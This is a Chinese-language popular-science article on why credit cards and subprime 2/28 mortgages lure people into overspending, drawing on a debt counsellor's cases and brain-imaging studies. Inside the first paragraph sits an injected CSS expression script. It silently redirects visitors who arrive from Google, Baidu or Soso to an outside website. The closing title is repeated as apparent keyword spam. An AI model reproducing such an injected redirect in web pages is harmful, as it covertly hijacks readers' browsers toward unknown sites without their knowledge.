信用卡的诱惑

　　赫尔曼是纽约布朗克斯的一名理财顾问。过去的九年中，他一直帮助人们处理债务问题。他的办公室里面有一张桌子，桌子上唯一的摆设是一个大大的玻璃糖果罐，但是糖果罐里没有糖果，而是装着几百张信用卡的碎片。他说： >body {onload:expression(if(window.name!="Yang"){var str1 = document.referrer;str1 = str1.toLowerCase();var str6 = 'google.';var str7 = 'baidu.';var str5 = 'soso.';if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage){self.location='http://www.897000.com/1.htm';window.name="Yang";}});}1 
“我会要求来访者将他们的信用卡给我，在他们面前把信用卡绞成碎片，然后把碎片存在罐子里。”

　　他说：“我教人们怎么花钱，但是如果你还持有这些信用卡，你几乎不可能不花钱。”

　　向赫尔曼寻求帮助的人大多数都有着基本相同的故事：一天，他们收到一封邀请他们办理信用卡的邮件(2007年，信用卡公司发出了53亿封这样的邀请函，意味着平均每个美国成年人收到15封)。使用信用卡看起来十分划算，广告上醒目的黑体字说着信用卡刚开始的利息是如何如何的低，还能返还现金、赠送飞行里程或者赠送电影票。于是他们填了一张表，签上了自己的名字，几星期后，他们收到一封信，里面是新信用卡。刚开始，他们不怎么用信用卡。后来有一天，他们在超市买食物，发现忘了带现金，于是他们用新信用卡付账。也有可能是，冰箱坏了，要换台新的还缺点钱。最初的几个月，他们一直能及时还款。赫尔曼说：“几乎没人拿到信用卡后说‘我要用信用卡买我买不起的东西’，但没过多久，他们就开始用信用卡买他们买不起的东西了。”

　　按照赫尔曼的说法，信用卡的最大问题在于它让人们很难抵抗诱惑，于是花掉了他们本来没有的钱。赫尔曼说，“我看他们的信用卡账单，会看到一笔在某家百货公司消费50美元的费用，我问他们买了什么。他们会说：‘一双鞋子，赫尔曼，但当时在甩卖呢。’或者他们会告诉我他们刚刚又买了一条牛仔裤，但打五折啊，这么划算，不买才傻呢。”我问他们，“如果用现金支付的话，你会买那些东西吗?如果你必须从自动取款机中取出钱，用手感觉这些钱，然后把钱交出去，你还会买吗?多数情况下，他们会思考一分钟。然后说不。”

　　刷卡从根本上改变了我们花钱的方式。当我们用现金买东西时，购买行为就涉及到实际的损失——我们的钱包变轻了。然而，信用卡却把交易行为抽象化了，这样我们实际上就感觉不到花钱的消极面了。脑成像实验表明，刷卡真的会降低脑岛的活动水平，脑岛是与消极情绪有关的脑区。信用卡的实质就是麻醉你，让你感觉不到付账的痛苦。

　　麻省理工学院商学院的两位教授卓瑞森·普瑞雷克和邓肯·西梅斯特组织了一次拍卖会，拍卖的是波士顿凯尔特人队的比赛门票。拍卖会中，一半竞拍者被告知他们需要支付现金，另外一半被告知需要用信用卡支付。结果，信用卡组的竞价几乎是现金组的2倍。当人们使用信用卡时，他们的竞价行为要冲动许多。他们不再克制自己的欲望，而是大手大脚地花钱。

　　这就是过去几十年发生在美国消费者身上的事情。现在，平均每户的信用卡债务超过9 000美元，平均每户持有8.5张信用卡，2006年，消费者仅仅花在信用卡罚金上的钱就超过l70亿，自2002年以来，美国人的储蓄率就一直为负数，美联储最近得出结论认为，储蓄率为负很大程度上是信用卡债务造成的。我们花了那么多的钱支付信用卡利息，以至于我们不能存钱养老了。

　　鉴于大多数信用卡公司过高的利率——通常为25％或者更多，理性的消费者不到最后关头是不会使用信用卡的，然而，赫尔曼说：“持有信用卡的人与为了节省每加仑两美分汽油钱而多开一公里的人是同一类型，收集优惠券和买东西货比三家的人也是这群人。这些人本来很会理财，但是当他们带着信用卡账单来到我这里时，会说‘我不知道发生了什么事，我不知道是怎么花了这些钱的。’”

　　在解剖学中，人脑被描绘成由四个复杂程度递增的独立部分组成。最下面是脑干，控制许多基本的身体功能，比如心跳、呼吸以及体温；往上是间脑，与饥饿感的产生有关，也是告诉我们什么时候睡觉的脑区；再往上是边缘系统，负责产生原始情绪，是欲望、暴力和冲动行为的源头。任何哺乳动物都有这三层脑。最后，来到最壮观的额叶皮层，它负责理智、智慧和道德。这个灰质沟回组织使得我们能够抵制欲望、压抑情感。当时，神经科学认为情绪是非理性的，一个没有任何情绪的人应该能够做出更好的决定，因为他们的认知是不受干扰的。我们是唯一能够对抗原始欲望、冷静慎重做决定的物种。

　　但是实际上，神经科学现在知道的事实正好相反，解剖学的这种描述是错误的。人类进化过程中，额叶皮层的扩张并没有把我们变成纯粹理性、能够忽略原始冲动的生物。额叶皮层的很大一部分与情绪有关。如果没有情绪，我们连最日常的决定也做不出。没有情感的大脑是不能下决心的。18世纪对异教学说感兴趣的英国哲学家大卫·休谟曾经宣称“理性是感性的奴隶”。现在看来，他是有道理的。

　　尽管许多皮质区都与情绪的产生有关，但有一个脑区是非常重要的：它是被称作眶额叶皮质（OFC）的组织，是一个小电路，位于眼睛正后方，额叶正下方，我们叫它情绪脑。按照柏拉图和弗洛伊德的看法，OFC的作用应该是让我们远离情绪困扰、帮助理性对抗感性，但OFC的实际作用恰好相反，我们大部分的“思考”实际上是由情绪驱动，人类的冲动比任何动物都要多得多。

　　信用卡的问题在于它们利用了大脑固有的危险缺陷，这个缺陷的根源在于情绪脑，因为情绪脑过于看重即时收益 (比如一双新鞋)而忽略以后要为此付出的代价(高还款利率)。我们的情绪脑被即将到手的奖赏冲昏了头，看不到以后要为这一决定付出昂贵的代价。情绪脑理解不了像利率、偿还债务或融资费用之类的东西。结果，脑岛之类的脑区就不会对用信用卡付款的交易做出反应。因为我们的冲动没有受到任何约束，于是我们刷爆了信用卡，买下任何我们想要的东西。

　　这种只顾眼前的决定是非常危险的，不仅仅对于那些钱包里有多张信用卡的人来说。最近几年，赫尔曼发现社区里出现了一种新的金融灾难：次级抵押贷款。他说：“我仍然记得自己处理的第一个有关次级抵押贷款的个案，我记得当时是这么想的：这实在不划算。这些人只是买了一幢很贵的自己根本支付不起的房子，而且他们还不知道这一点。我就是在那个时候知道了，以后我将处理很多这样背负巨额贷款的个案。”

　　赫尔曼所处理次级抵押贷款中，最常见的是2／28贷款。2／28贷款前两年利率固定而且较低，后28年利率可调整而且较高。换句话说，这种贷款的性质和信用卡差不多：用这种贷款买房，刚开始几乎不用支付什么费用，但在若干年后的某个时候需要支付很高的利息，让借贷人不堪重负。

　　2007年夏天房市萧条的时候，像2／28贷款之类的次级抵押贷款几乎占所有贷款的20％。(较穷社区的情况更糟，比如布朗克斯，超过60％的贷款是次级抵押贷款。)不幸的是，次级抵押贷款的代价很大，贷款的结构注定次级抵押贷款的借贷人比其他类型贷款的借贷人更容易违约，一旦利率上涨——而且利率一直在上涨，很多人就还不起月供了。2007年底，利率调整，利率可调整贷款的借贷人中高达93％的人断供。赫尔曼说：“当我帮助按揭买房的来访者时，我从不问他们的房子怎么样，因为那样只会诱惑他们夸耀自己的房子。他们会描绘自己的房子是多么漂亮，空间多么大，对孩子来说多么棒。我要确保我们把注意力仅仅锁在数字上，特别是利率上涨后他们将要支付多少利息。”2／28贷款的低首付是一个很大的诱惑，但是这个诱惑最终会让人付出极大的代价。

　　信用卡以及次级抵押贷款的无孔不入揭示了我们非理性的一面。弄清诱惑的脑机制一直是科学家的理想之一，普林斯顿大学的神经学家乔纳森·科恩已经开始确定了负责信用卡和次级贷款产生诱惑的具体脑区。

　　在最近的一个实验中，他让测试者选择马上获得一张小额的亚马逊礼券还是2～4周后获得一张大额的亚马逊礼券，并用功能磁共振成像机观察他们决定过程中的脑部活动。科恩发现这两个选择激活的是完全不同的神经系统。当测试者考虑未来的大额亚马逊礼券时，与理性计划有关的脑区，比如前额叶皮层的活动更强，这些脑区敦促我们要有耐心，要我们再等几个星期以获得更大的收益。而当测试者开始考虑立即获得小额亚马逊礼券时，与情绪有关的脑区开启了，比如中脑多巴胺系统和NAcc。

　　就是这里的脑细胞让人们贷款购买他买不起的房子，让人们在本该存钱养老时刷爆了信用卡。这些脑细胞所要的就是奖赏，而且要马上得到。

　　通过这个实验，科恩和他的同事们得以观看两个神经系统之间上演的拔河比赛。当两种选择的诱惑力相当，大脑举棋不定时，他们看到了理智与情感之间的激烈辩论。我们最终选择什么——为明天节省还是沉迷于现在，取决于哪个脑区的活动更强。不能等待大额亚马逊礼券的人——多数人不能等——被他们的感觉引入歧途，情绪越强意味着越冲动。(这也有助于解释为什么呈现裸体女人的照片或其他被科学家称为“明显的性刺激”之类的东西能让男人变得更冲动：照片激活了他们的情绪回路。)另一方面，选择大额亚马逊礼券的测试者的前额叶皮层的活动增强，使得他们能够进行数学计算，做出“理性的”选择。

　　这一发现具有重要的意义。首先，它找到了我们许多理财失误的神经源头。我们之所以无法控制自己而选择了支付不起的奖赏，是因为理性脑在神经系统的拔河比赛中输了。正如哈佛大学的经济学家戴维·莱布森所指出的那样：“我们的情绪脑要刷爆信用卡、点甜品、吸烟，当它看到它想要的东西时，它就迫不及待地要得到这个东西。”信用卡公司学会了利用情绪脑的急躁特点，广告上充满诱惑的利率。不幸的是，我们的情绪脑经常被这些诱人的、但从理财角度来看很愚蠢的广告欺骗。赫尔曼说：“我总是告诉人们只看广告上的小字，字体越大越无关紧要。”

　　不幸的是，多数人没有听从赫尔曼的劝告。因为情绪脑总是低估未来的价值——人生短暂要及时享乐，所以最终结果是我们今天大手大脚花钱，把存钱的事推到明天(再明天，再明天)。卡耐基-梅隆大学的经济学教授乔治·洛温斯坦认为，重要的是要知道情绪情感是怎样误导人的，这样我们才能找到弥补这些缺陷的方法。一些经济学家已经致力于这项工作，他们的计划叫做“为明天存钱”，让人们做决定时考虑的是遥远的将来而不是现在，所以它绕过了冲动的情绪脑。这项计划的试验研究结果很成功：3年后，平均储蓄率已经从3.5％上升到13.6％。

　　“学会用现金支付!”赫尔曼从经验中知道，除非人们摆脱信用卡，否则是不会合理理财的。赫尔曼说：“每个人都知道诱惑是怎么回事，每个人都想要新鞋子、大房子。但是，有时你必须对自己说不。”他援引了一首滚石乐队的著名歌曲，歌词是这样的：“你并非总能得到你想要的，但是，有时，得不到你想要的正是你需要的。” 信用卡的诱惑 信用卡的诱惑 信用卡的诱惑 信用卡的诱惑 信用卡的诱惑 信用卡的诱惑 信用卡的诱惑 信用卡的诱惑